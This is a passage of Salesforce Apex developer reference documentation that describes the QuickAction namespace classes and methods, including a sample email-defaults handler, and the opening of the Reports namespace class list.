The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace
Process

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Reference

QuickAction Namespace

PluginResult Properties
The following are properties for PluginResult.
IN THIS SECTION:
outputParameters
Output parameters returned from the class that implements the interface to the flow.

outputParameters
Output parameters returned from the class that implements the interface to the flow.

Signature
public MAP<String, ANY> outputParameters {get; set;}

Property Value
Type: Map<String, Object>

QuickAction Namespace
The QuickAction namespace provides classes and methods for quick actions.
The following are the classes in the QuickAction namespace.
IN THIS SECTION:
DescribeAvailableQuickActionResult Class
Contains describe metadata information for a quick action that is available for a specified parent.
DescribeLayoutComponent Class
Represents the smallest unit in a layouta field or a separator.
DescribeLayoutItem Class
Represents an individual item in a QuickAction.DescribeLayoutRow.
DescribeLayoutRow Class
Represents a row in a QuickAction.DescribeLayoutSection.
DescribeLayoutSection Class
Represents a section of a layout and consists of one or more columns and one or more rows (an array of
QuickAction.DescribeLayoutRow).
DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.
DescribeQuickActionResult Class
Contains describe metadata information for a quick action.
QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container
of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.

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Reference

DescribeAvailableQuickActionResult Class

QuickActionDefaultsHandler Interface
The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email
Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for
the Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is
displayed, such as the case origin (for example, country) and subject.
QuickActionRequest Class
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by
QuickAction class methods. Action information includes the action name, context record ID, and record.
QuickActionResult Class
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action
results.
SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original emails email message ID, provided that the reply action
was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields
before the standard Email Action is rendered.

DescribeAvailableQuickActionResult Class
Contains describe metadata information for a quick action that is available for a specified parent.

Namespace
QuickAction

Usage
The QuickAction describeAvailableQuickActions method returns an array of available quick action describe result objects
(QuickAction.DescribeAvailableQuickActionResult).

DescribeAvailableQuickActionResult Methods
The following are methods for DescribeAvailableQuickActionResult. All are instance methods.
IN THIS SECTION:
getActionEnumOrId()
Returns the unique ID for the action. If the action doesnt have an ID, its API name is used.
getLabel()
The quick action label.
getName()
The quick action name.
getType()
The quick action type.

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Reference

DescribeLayoutComponent Class

getActionEnumOrId()
Returns the unique ID for the action. If the action doesnt have an ID, its API name is used.

Signature
public String getActionEnumOrId()

Return Value
Type: String

getLabel()
The quick action label.

Signature
public String getLabel()

Return Value
Type: String

getName()
The quick action name.

Signature
public String getName()

Return Value
Type: String

getType()
The quick action type.

Signature
public String getType()

Return Value
Type: String

DescribeLayoutComponent Class
Represents the smallest unit in a layouta field or a separator.

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Reference

DescribeLayoutComponent Class

Namespace
QuickAction

DescribeLayoutComponent Methods
The following are methods for DescribeLayoutComponent. All are instance methods.
IN THIS SECTION:
getDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.
getTabOrder()
Returns the tab order for the item in the row.
getType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
getValue()
Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.

getDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.

Signature
public Integer getDisplayLines()

Return Value
Type: Integer

getTabOrder()
Returns the tab order for the item in the row.

Signature
public Integer getTabOrder()

Return Value
Type: Integer

getType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.

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Reference

DescribeLayoutItem Class

Signature
public String getType()

Return Value
Type: String

getValue()
Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.

Signature
public String getValue()

Return Value
Type: String

DescribeLayoutItem Class
Represents an individual item in a QuickAction.DescribeLayoutRow.

Namespace
QuickAction

Usage
For most fields on a layout, there is only one component per layout item. However, in a display-only view, the
QuickAction.DescribeLayoutItem might be a composite of the individual fields (for example, an address can consist of
street, city, state, country, and postal code data). On the corresponding edit view, each component of the address field would be split
up into separate QuickAction.DescribeLayoutItems.

DescribeLayoutItem Methods
The following are methods for DescribeLayoutItem. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the label text for this item.
getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.
isEditable()
Indicates whether this item can be edited (true) or not (false).

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Reference

DescribeLayoutItem Class

isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.
isRequired()
Indicates whether this item is required (true) or not (false).

getLabel()
Returns the label text for this item.

Signature
public String getLabel()

Return Value
Type: String

getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.

Signature
public List<QuickAction.DescribeLayoutComponent> getLayoutComponents()

Return Value
Type: List<QuickAction.DescribeLayoutComponent>

isEditable()
Indicates whether this item can be edited (true) or not (false).

Signature
public Boolean isEditable()

Return Value
Type: Boolean

isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.

Signature
public Boolean isPlaceholder()

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Reference

DescribeLayoutRow Class

Return Value
Type: Boolean

isRequired()
Indicates whether this item is required (true) or not (false).

Signature
public Boolean isRequired()

Return Value
Type: Boolean

Usage
This is useful if, for example, you want to render required fields in a contrasting color.

DescribeLayoutRow Class
Represents a row in a QuickAction.DescribeLayoutSection.

Namespace
QuickAction

Usage
A QuickAction.DescribeLayoutRow consists of one or more QuickAction.DescribeLayoutItem objects. For
each QuickAction.DescribeLayoutRow, a QuickAction.DescribeLayoutItem refers either to a specific field or
to an empty QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent
objects). An empty QuickAction.DescribeLayoutItem can be returned when a given
QuickAction.DescribeLayoutRow is sparse (for example, containing more fields on the right column than on the left column).

DescribeLayoutRow Methods
The following are methods for DescribeLayoutRow. All are instance methods.
IN THIS SECTION:
getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no
QuickAction.DescribeLayoutComponent objects).
getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.

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Reference

DescribeLayoutSection Class

getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no
QuickAction.DescribeLayoutComponent objects).

Signature
public List<QuickAction.DescribeLayoutItem> getLayoutItems()

Return Value
Type: List<QuickAction.DescribeLayoutItem>

getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.

Signature
public Integer getNumItems()

Return Value
Type: Integer

DescribeLayoutSection Class
Represents a section of a layout and consists of one or more columns and one or more rows (an array of
QuickAction.DescribeLayoutRow).

Namespace
QuickAction

DescribeLayoutSection Methods
The following are methods for DescribeLayoutSection.
IN THIS SECTION:
getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.
getHeading()
The heading text (label) for the QuickAction.DescribeLayoutSection.
getLayoutRows()
Returns an array of one or more QuickAction.DescribeLayoutRow objects.
getParentLayoutId()
Returns the ID of the layout upon which this DescribeLayoutSection resides.

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Reference

DescribeLayoutSection Class

getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.
isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).
isUseHeading()
Indicates whether to use the heading (true) or not (false).

getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.

Signature
public Integer getColumns()

Return Value
Type: Integer

getHeading()
The heading text (label) for the QuickAction.DescribeLayoutSection.

Signature
public String getHeading()

Return Value
Type: String

getLayoutRows()
Returns an array of one or more QuickAction.DescribeLayoutRow objects.

Signature
public List<QuickAction.DescribeLayoutRow> getLayoutRows()

Return Value
Type: List<QuickAction.DescribeLayoutRow>

getParentLayoutId()
Returns the ID of the layout upon which this DescribeLayoutSection resides.

1709

Reference

DescribeQuickActionDefaultValue Class

Signature
public Id getParentLayoutId()

Return Value
Type: Id

getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.

Signature
public Integer getRows()

Return Value
Type: Integer

isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).

Signature
public Boolean isUseCollapsibleSection()

Return Value
Type: Boolean

isUseHeading()
Indicates whether to use the heading (true) or not (false).

Signature
public Boolean isUseHeading()

Return Value
Type: Boolean

DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.

Namespace
QuickAction

1710

Reference

DescribeQuickActionResult Class

Usage
Represents the default values of fields to use in default layouts.

DescribeQuickActionDefaultValue Methods
The following are methods for DescribeQuickActionDefaultValue. All are instance methods.
IN THIS SECTION:
getDefaultValue()
Returns the default value of the quick action.
getField()
Returns the field name of the action.

getDefaultValue()
Returns the default value of the quick action.

Signature
public String getDefaultValue()

Return Value
Type: String

getField()
Returns the field name of the action.

Signature
public String getField()

Return Value
Type: String

DescribeQuickActionResult Class
Contains describe metadata information for a quick action.

Namespace
QuickAction

1711

Reference

DescribeQuickActionResult Class

Usage
The QuickAction describeQuickActions method returns an array of quick action describe result objects
(QuickAction.DescribeQuickActionResult).

DescribeQuickActionResult Methods
The following are methods for DescribeQuickActionResult. All are instance methods.
IN THIS SECTION:
getActionEnumOrId()
Returns the unique ID for the action. If the action doesnt have an ID, its API name is used.
getCanvasApplicationName()
Returns the name of the Canvas application, if used.
getDefaultValues()
Returns the default values for a action.
getHeight()
Returns the height in pixels of the action pane.
getIconName()
Returns the actions icon name.
getIconUrl()
Returns the URL of the 32x32 icon used for the action.
getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.
getLabel()
Returns the action label.
getLayout()
Returns the layout sections that comprise an action.
getMiniIconUrl()
Returns the 16x16 icon URL.
getName()
Returns the action name.
getSourceSobjectType()
Returns the object type used for the action.
getTargetParentField()
Returns the parent objects type for the action.
getTargetRecordTypeId()
Returns the record type of the targeted record.
getTargetSobjectType()
Returns the actions target object type.
getType()
Returns a create or custom Visualforce action.

1712

Reference

DescribeQuickActionResult Class

getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.
getWidth()
If a custom action is created, returns the width in pixels of the action pane.

getActionEnumOrId()
Returns the unique ID for the action. If the action doesnt have an ID, its API name is used.

Signature
public String getActionEnumOrId()

Return Value
Type: String

getCanvasApplicationName()
Returns the name of the Canvas application, if used.

Syntax
public String getCanvasApplicationName()

Return Value
Type: String

getDefaultValues()
Returns the default values for a action.

Signature
public List<QuickAction.DescribeQuickActionDefaultValue> getDefaultValues()

Return Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>

getHeight()
Returns the height in pixels of the action pane.

Signature
public Integer getHeight()

1713

Reference

DescribeQuickActionResult Class

Return Value
Type: Integer

getIconName()
Returns the actions icon name.

Signature
public String getIconName()

Return Value
Type: String

getIconUrl()
Returns the URL of the 32x32 icon used for the action.

Signature
public String getIconUrl()

Return Value
Type: String

getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.

Signature
public List<Schema.DescribeIconResult> getIcons()

Return Value
Type: List<Schema.DescribeIconResult>

getLabel()
Returns the action label.

Signature
public String getLabel()

Return Value
Type: String

1714

Reference

DescribeQuickActionResult Class

getLayout()
Returns the layout sections that comprise an action.

Signature
public QuickAction.DescribeLayoutSection getLayout()

Return Value
Type: QuickAction.DescribeLayoutSection

getMiniIconUrl()
Returns the 16x16 icon URL.

Signature
public String getMiniIconUrl()

Return Value
Type: String

getName()
Returns the action name.

Signature
public String getName()

Return Value
Type: String

getSourceSobjectType()
Returns the object type used for the action.

Signature
public String getSourceSobjectType()

Return Value
Type: String

getTargetParentField()
Returns the parent objects type for the action.

1715

Reference

DescribeQuickActionResult Class

Signature
public String getTargetParentField()

Return Value
Type: String

getTargetRecordTypeId()
Returns the record type of the targeted record.

Signature
public String getTargetRecordTypeId()

Return Value
Type: String

getTargetSobjectType()
Returns the actions target object type.

Signature
public String getTargetSobjectType()

Return Value
Type: String

getType()
Returns a create or custom Visualforce action.

Signature
public String getType()

Return Value
Type: String

getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.

Signature
public String getVisualforcePageName()

1716

Reference

QuickActionDefaults Class

Return Value
Type: String

getWidth()
If a custom action is created, returns the width in pixels of the action pane.

Signature
public Integer getWidth()

Return Value
Type: Integer

QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of
the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.

Namespace
QuickAction

Usage
Note: You cannot extend this abstract class. You can use the getter methods when using it in the context of
QuickAction.QuickActionDefaultsHandler. Salesforce provides a class that extends this class (See
QuickAction.SendEmailQuickActionDefaults.)
IN THIS SECTION:
QuickActionDefaults Methods

QuickActionDefaults Methods
The following are methods for QuickActionDefaults.
IN THIS SECTION:
getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).
getActionType()
Returns the type of the standard Email Action on Case Feed (Email).
getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).

1717

Reference

QuickActionDefaults Class

getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).

getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).

Signature
public String getActionName()

Return Value
Type: String

getActionType()
Returns the type of the standard Email Action on Case Feed (Email).

Signature
public String getActionType()

Return Value
Type: String

getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).

Signature
public Id getContextId()

Return Value
Type: Id

getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).

Signature
public SObject getTargetSObject()

Return Value
Type: SObject

1718

Reference

QuickActionDefaultsHandler Interface

Namespace
QuickAction

Usage
To specify default values for the standard Email Action on Case Feed, create a class that implements
QuickAction.QuickActionDefaultsHandler.
When you implement this interface, provide an empty parameterless constructor.
IN THIS SECTION:
QuickActionDefaultsHandler Methods
QuickActionDefaultsHandler Example Implementation

QuickActionDefaultsHandler Methods
The following are methods for QuickActionDefaultsHandler.
IN THIS SECTION:
onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email Action in Case Feed.

onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email Action in Case Feed.

Signature
public void onInitDefaults(QuickAction.QuickActionDefaults[] actionDefaults)

Parameters
actionDefaults

Type: QuickAction.QuickActionDefaults[]
This array contains only one item of type QuickAction.SendEmailQuickActionDefaults.

Return Value
Type: void

1719

Reference

QuickActionDefaultsHandler Interface

QuickActionDefaultsHandler Example Implementation

This is an example implementation of the QuickAction.QuickActionDefaultsHandler interface.
In this example, the onInitDefaults method checks whether the element passed in the array is for the standard Email Action on Case
Feed. Then, it performs a query to retrieve the case that corresponds to the context ID. Next, it sets the value of the BCC address of the
corresponding email message to a default value. The default value is based on the case reason. Finally, it sets the default values of the
email template properties. The onInitDefaults method determines the default values based on two criteria: first, whether a reply action
on an email message initiated the call to the method, and second, whether any previous emails attached to the case are associated with
the call.
global class EmailPublisherLoader implements QuickAction.QuickActionDefaultsHandler {
// Empty constructor
global EmailPublisherLoader() {
}
// The main interface method
global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = null;

// Check if the quick action is the standard Case Feed send email action
for (Integer j = 0; j < defaults.size(); j++) {
if (defaults.get(j) instanceof QuickAction.SendEmailQuickActionDefaults &&
defaults.get(j).getTargetSObject().getSObjectType() ==
EmailMessage.sObjectType &&
defaults.get(j).getActionName().equals('Case.Email') &&
defaults.get(j).getActionType().equals('Email')) {
sendEmailDefaults =
(QuickAction.SendEmailQuickActionDefaults)defaults.get(j);
break;
}
}
if (sendEmailDefaults != null) {
Case c = [SELECT Status, Reason FROM Case
WHERE Id=:sendEmailDefaults.getContextId()];
EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();
// Set bcc address to make sure each email goes for audit
emailMessage.BccAddress = getBccAddress(c.Reason);
/*
Set Template related fields
When the In Reply To Id field is null we know the interface
is called on page load. Here we check if
there are any previous emails attached to the case and load
the 'New_Case_Created' or 'Automatic_Response' template.
When the In Reply To Id field is not null we know that
the interface is called on click of reply/reply all
of an email and we load the 'Default_reply_template' template
*/
if (sendEmailDefaults.getInReplyToId() == null) {
Integer emailCount = [SELECT count() FROM EmailMessage

1720

Reference

QuickActionRequest Class

WHERE ParentId=:sendEmailDefaults.getContextId()];
if (emailCount!= null && emailCount > 0) {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('Automatic_Response'));
} else {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('New_Case_Created'));
}
sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(false);
} else {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('Default_reply_template'));
sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(true);
}
}
}
private Id getTemplateIdHelper(String templateApiName) {
Id templateId = null;
try {
templateId = [select id, name from EmailTemplate
where developername = : templateApiName].id;
} catch (Exception e) {
system.debug('Unble to locate EmailTemplate using name: ' +
templateApiName + ' refer to Setup | Communications Templates '
+ templateApiName);
}
return templateId;
}
private String getBccAddress(String reason) {
if (reason != null && reason.equals('Technical'))
{ return '[email protected]'; }
else if (reason != null && reason.equals('Billing'))
{ return '[email protected]'; }
else { return '[email protected]'; }
}

QuickActionRequest Class
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by
QuickAction class methods. Action information includes the action name, context record ID, and record.

Namespace
QuickAction

1721

Reference

QuickActionRequest Class

Usage
For Apex saved using Salesforce API version 28.0, a parent ID is associated with the QuickActionRequest instead of the context ID.
The constructor of this class takes no arguments:
QuickAction.QuickActionRequest qar = new QuickAction.QuickActionRequest();

Example
In this sample, a new quick action is created to create a contact and assign a record to it.
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
// Some quick action name
req.quickActionName = Schema.Account.QuickAction.AccountCreateContact;
// Define a record for the quick action to create
Contact c = new Contact();
c.lastname = 'last name';
req.record = c;
// Provide the context ID (or parent ID). In this case, it is an Account record.
req.contextid = '001xx000003DGcO';
QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);

IN THIS SECTION:
QuickActionRequest Constructors
QuickActionRequest Methods
SEE ALSO:
QuickAction Class

QuickActionRequest Constructors
The following are constructors for QuickActionRequest.
IN THIS SECTION:
QuickActionRequest()
Creates a new instance of the QuickAction.QuickActionRequest class.

QuickActionRequest()
Creates a new instance of the QuickAction.QuickActionRequest class.

Signature
public QuickActionRequest()

1722

Reference

QuickActionRequest Class

QuickActionRequest Methods
The following are methods for QuickActionRequest. All are instance methods.
IN THIS SECTION:
getContextId()
Returns this QuickActions context record ID.
getQuickActionName()
Returns this QuickActions name.
getRecord()
Returns the QuickActions associated record.
setContextId(contextId)
Sets this QuickActions context ID. Returned by getContextId.
setQuickActionName(name)
Sets this QuickActions name. Returned by getQuickActionName.
setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.

getContextId()
Returns this QuickActions context record ID.

Signature
public Id getContextId()

Return Value
Type: ID

getQuickActionName()
Returns this QuickActions name.

Signature
public String getQuickActionName()

Return Value
Type: String

getRecord()
Returns the QuickActions associated record.

1723

Reference

QuickActionRequest Class

Signature
public SObject getRecord()

Return Value
Type: sObject

setContextId(contextId)
Sets this QuickActions context ID. Returned by getContextId.

Signature
public Void setContextId(Id contextId)

Parameters
contextId

Type: ID

Return Value
Type: Void

Usage
For Apex saved using SalesforceAPI version 28.0, sets this QuickActions parent ID and is returned by getParentId.

setQuickActionName(name)
Sets this QuickActions name. Returned by getQuickActionName.

Signature
public Void setQuickActionName(String name)

Parameters
name

Type: String

Return Value
Type: Void

setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.

1724

Reference

QuickActionResult Class

Signature
public Void setRecord(SObject record)

Parameters
record

Type: sObject

Return Value
Type: Void

QuickActionResult Class
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action results.

Namespace
QuickAction
SEE ALSO:
QuickAction Class

QuickActionResult Methods
The following are methods for QuickActionResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.
getIds()
The IDs of the QuickActions being processed.
getSuccessMessage()
Returns the success message associated with the quick action.
isCreated()
Returns true if the action is created; otherwise, false.
isSuccess()
Returns true if the action completes successfully; otherwise, false.

getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.

1725

Reference

QuickActionResult Class

Signature
public List<Database.Error> getErrors()

Return Value
Type: List<Database.Error>

getIds()
The IDs of the QuickActions being processed.

Signature
public List<Id> getIds()

Return Value
Type: List<Id>

getSuccessMessage()
Returns the success message associated with the quick action.

Signature
public String getSuccessMessage()

Return Value
Type: String

isCreated()
Returns true if the action is created; otherwise, false.

Signature
public Boolean isCreated()

Return Value
Type: Boolean

isSuccess()
Returns true if the action completes successfully; otherwise, false.

Signature
public Boolean isSuccess()

1726

Reference

SendEmailQuickActionDefaults Class

Return Value
Type: Boolean

SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original emails email message ID, provided that the reply action was
invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before
the standard Email Action is rendered.

Namespace
QuickAction

Usage
Note: You cannot instantiate this class. One can use the getters/setters when using it in the context of
QuickAction.QuickActionDefaultsHandler.
IN THIS SECTION:
SendEmailQuickActionDefaults Methods

SendEmailQuickActionDefaults Methods
The following are methods for SendEmailQuickActionDefaults.
IN THIS SECTION:
getFromAddressList()
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.
getInReplyToId()
Returns the email message ID of the email to which the reply/reply all action has been invoked.
setIgnoreTemplateSubject(useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject
should replace the original subject (false).
setInsertTemplateBody(keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the
entire content with the template body (false).
setTemplateId(templateId)
Sets the email template ID to load into the email body.

getFromAddressList()
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.

1727

Reference

SendEmailQuickActionDefaults Class

Signature
public List<String> getFromAddressList()

Return Value
Type: List<String>

getInReplyToId()
Returns the email message ID of the email to which the reply/reply all action has been invoked.

Signature
public Id getInReplyToId()

Return Value
Type: Id

setIgnoreTemplateSubject(useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should
replace the original subject (false).

Signature
public void setIgnoreTemplateSubject(Boolean useOriginalSubject)

Parameters
useOriginalSubject

Type: Boolean

Return Value
Type: void

setInsertTemplateBody(keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire
content with the template body (false).

Signature
public void setInsertTemplateBody(Boolean keepOriginalBodyContent)

Parameters
keepOriginalBodyContent

Type: Boolean

1728

Reference

Reports Namespace

Return Value
Type: void

setTemplateId(templateId)
Sets the email template ID to load into the email body.

Signature
public void setTemplateId(Id templateId)

Parameters
templateId

Type: Id
The template ID.

Return Value
Type: void

Reports Namespace
The Reports namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards REST
API.
The following are the classes in the Reports namespace.
IN THIS SECTION:
AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas.
Includes name, label, data type, and grouping context.
BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed
values.
BucketFieldValue Class
Contains information about the report values included in a bucket field.
BucketType Enum
The types of values included in a bucket.
ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.
ColumnSortOrder Enum
The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.
CrossFilter Class
Contains methods and constructors used to work with information about a cross filter.

1729

Reference

Reports Namespace

CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.
DateGranularity Enum
The Reports.DateGranularity enum describes the date interval that is used for grouping.
DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.
Dimension Class
Contains information for each row or column grouping.
EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the
operator, and the value that the aggregate is compared to.
EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to
a value. It is returned by the getOperator method.
FilterOperator Class
Contains information about a filter operator, such as display name and API name.
FilterValue Class
Contains information about a filter value, such as the display name and API name.
FormulaType Enum
The format of the numbers in a custom summary formula.
GroupingColumn Class
Contains methods for describing fields that are used for column grouping.
GroupingInfo Class
Contains methods for describing fields that are used for grouping.
GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.
NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.
NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.
ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).
ReportCurrency Class
Contains information about a currency value, including the amount and currency code.
ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.
ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.
ReportDetailRow Class
Contains data cells for a detail row of a report.

1730

Reference

Reports Namespace

ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.
ReportFact Class
Contains the fact map for the report, which represents the reports data values.
ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the reports data values.
ReportFactWithSummaries Class
Contains the fact map for the report, which represents the reports data values, and includes summarized fields.
ReportFilter Class
Contains information about a report filter, including column, operator, and value.
ReportFormat Enum
Contains the possible report format types.
ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.
ReportManager Class
Runs a report synchronously or asynchronously and with or without details.
ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.
ReportResults Class
Contains the results of running a report.
ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you
can set the scope for opportunity reports to All opportunities, My teams opportunities, or My
opportunities.
ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for
opportunity reports to All opportunities, My teams opportunities, or My opportunities.
ReportType Class
Contains the unique API name and display name for the report type.
ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.
ReportTypeColumnCategory Class
Information about categories of fields in a report type.
ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type,
plus filter information for those fields.
SortColumn Class
Contains information about the sort column used in the report.

1731

Reference

AggregateColumn Class

StandardDateFilter Class
Contains information about standard date filter available in the reportfor example, the API name, start date, and end date of the
standard date filter duration as well as the API name of the date field on which the filter is placed.
StandardDateFilterDuration Class
Contains information about each standard date filteralso referred to as a relative date filter. It contains the API name and display
label of the standard date filter duration as well as the start and end dates.
StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that
fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar
Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.
StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.
StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.
StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value,
and a list of all possible picklist values.
StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a
Reports.StandardFilterType enum value.
SummaryValue Class
Contains summary data for a cell of the report.
ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.
TopRows Class
Contains methods and constructors for working with information about a row limit filter.
Reports Exceptions
The Reports namespace contains exception classes.

AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes
name, label, data type, and grouping context.

Namespace
Reports

AggregateColumn Methods
The following are methods for AggregateColumn. All are instance methods.

1732

Reference

AggregateColumn Class

IN THIS SECTION:
getName()
Returns the unique API name of the summary field.
getLabel()
Returns the localized display name for the summarized or custom summary formula field.
getDataType()
Returns the data type of the summarized or custom summary formula field.
getAcrossGroupingContext()
Returns the column grouping in the report where the summary field is displayed.
getDownGroupingContext()
Returns the row grouping in the report where the summary field is displayed.

getName()
Returns the unique API name of the summary field.

Syntax
public String getName()

Return Value
Type: String

getLabel()
Returns the localized display name for the summarized or custom summary formula field.

Syntax
public String getLabel()

Return Value
Type: String

getDataType()
Returns the data type of the summarized or custom summary formula field.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

1733

Reference

BucketField Class

getAcrossGroupingContext()
Returns the column grouping in the report where the summary field is displayed.

Syntax
public String getAcrossGroupingContext()

Return Value
Type: String

getDownGroupingContext()
Returns the row grouping in the report where the summary field is displayed.

Syntax
public String getDownGroupingContext()

Return Value
Type: String

BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed values.

Namespace
Reports
IN THIS SECTION:
BucketField Constructors
BucketField Methods

BucketField Constructors
The following are constructors for BucketField.
IN THIS SECTION:
BucketField(bucketType, devloperName, label, nullTreatedAsZero, otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.
BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the classs set methods.

1734

Reference

BucketField Class

BucketField(bucketType, devloperName, label, nullTreatedAsZero,

otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.

Signature
public BucketField(Reports.BucketType bucketType, String devloperName, String label,
Boolean nullTreatedAsZero, String otherBucketLabel, String sourceColumnName,
List<Reports.BucketFieldValue> values)

Parameters
bucketType

Type: Reports.BucketType
The type of bucket.
devloperName

Type: String
